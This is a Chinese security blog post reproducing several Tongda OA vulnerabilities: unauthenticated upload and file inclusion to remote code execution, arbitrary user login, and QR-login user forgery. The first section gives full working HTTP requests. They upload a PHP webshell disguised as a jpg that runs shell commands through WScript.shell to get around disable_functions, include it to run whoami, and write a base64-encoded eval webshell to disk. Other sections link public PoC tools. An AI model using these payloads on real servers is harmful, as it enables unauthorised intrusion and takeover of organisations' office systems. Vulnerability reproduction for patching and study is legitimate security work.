banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

通达OA漏洞复现

通达 OA 介绍#

通达 OA 是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。

文件上传 & 文件包含 getshell#

漏洞信息:

3 月 13 日,通达 OA 在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传 jpg 图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发

漏洞等级:高危

漏洞影响版本:

  • V11 版
  • 2017 版
  • 2016 版
  • 2015 版
  • 2013 增强版
  • 2013 版

漏洞原理:

该漏洞存在于以下两个链接中:

任意文件上传漏洞  /ispirit/im/upload.php
本地文件包含漏洞  /ispirit/interface/gateway.php
有些版本gateway.php路径不同
如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017:
/ispirit/im/upload.php
/mac/gateway.Php
本文使用的v11版本路径为
/ispirit/im/upload.php
/ispirit/interface/gateway.php
访问任意文件上传漏洞路径/ispirit/im/upload.php

通达 OA 使用zend加密,需要使用SeayDzend工具解密

这个工具同样出自Seay师傅之手(Seay 源代码审计系统就是出自这个师傅)

也可以使用在线加解密网站

比较安装补丁前后的文件ispirit/im/upload.php如下:

image

可以看出upload.php在修复前如果$P非空就不需要通过auth.php验证即可执行后续代码,

利用此处逻辑伸缩可绕过过登陆验证直接上传文件

往下走遇到$DEST_UID同样也可以通过POST的方式自行赋值

image

接着到了判断文件的点,此处可以知道文件上传的变量名为ATTACHMENT

image

继续跟进upload函数跳转到文件inc/utility_file.php

这里对上传的文件进行了一系列的检查,包括黑名单等限制

image

那么我们上传jpg格式的php代码,然后文件包含即可

漏洞复现:

首先自行下载 11.3安装包

下载完源码后全部默认安装一直下一步,安装完后访问localhost或者你本地的ip

登陆界面

在未登录状态访问任意文件上传漏洞路径/ispirit/im/upload.php

image

访问路径显示- ERR 用户未登录,此时 burp 抓包拦截并修改为如下:

POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"


------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

------WebKitFormBoundaryBwVAwV3O4sifyhr3--

这里使用了COM组件wscript.shell来绕过disable_function

image

打开文件夹可以看到未经过登录验证成功上传了 jpg 文件:

image

接下来访问文件包含利用的链接:/ispirit/interface/gateway.php

POSTjson赋值,指定keyurlvalue为文件位置

修改为如下:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami

image

成功执行命令!也可以把图片马的内容改为执行写入一句话的命令:

<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);

image

修改文件名发包执行文件包含后,shell被成功写入:

image

修复建议:

官方通告:https://www.tongda2000.com/news/p673.php

参考文章:

任意前台登录漏洞#

漏洞信息:

通达 OA 是一套国内常用的办公系统,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。

** 漏洞等级:高危 **

漏洞影响版本:

  • 通达 OA < 11.5.200417

漏洞原理:

解密工具参照第一部分漏洞原理

漏洞复现

首先,不登录界面打开查看cookie

image

使用POC工具TongDaOA-Fake-User获取链接cookie

image

将原来的cookie修改为POC获取到的cookie

image

访问/general/index.php即可直接访问系统:

image

修复建议:

参考文章:

任意用户登录漏洞(匿名 RCE)#

漏洞信息:

伪造任意用户(含管理员)登录漏洞的触发点在扫码登录功能,服务端只取了 UID 来做用户身份鉴别,由于 UID 是整型递增 ID,从而导致可以登录指定 UID 用户(admin 的缺省 UID 为 1

漏洞等级:高危

漏洞影响版本:

  • 通达 OA v2017、v11.x < v11.5 支持扫码登录版本

漏洞原理:

v11.5更新修复了客户端扫码登录和Web端扫码登录接口

Web 端扫码登录流程大致流程分四步:

  • Web 端访问 /general/login_code.php?codeuid = 随机字符串 生成一个二维码,codeuid 作为这个二维码凭证。

  • Web 端通过循环请求 /general/login_code_check.php,将 codeuid 发送到服务端,判断是否有人扫了这个二维码。

  • 移动端扫码这个二维码,然后将 codeuid 等数据发送到 /general/login_code_scan.php 服务端进行保存。

  • Web 端通过 login_code_check.php 取得 codeuid 等扫码数据后(其实取数据这一步已经产生 $_SESSION ["LOGIN_UID"] 登录了),再通过 Web 端发送到 logincheck_code.php 进行登录。

Web 端登录请求脚本如下:

漏洞复现:

POC&EXP工具:https://github.com/zrools/tools/tree/master/python

image

image

修复建议:

参考文章:

任意文件删除 getshell#

本文完。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。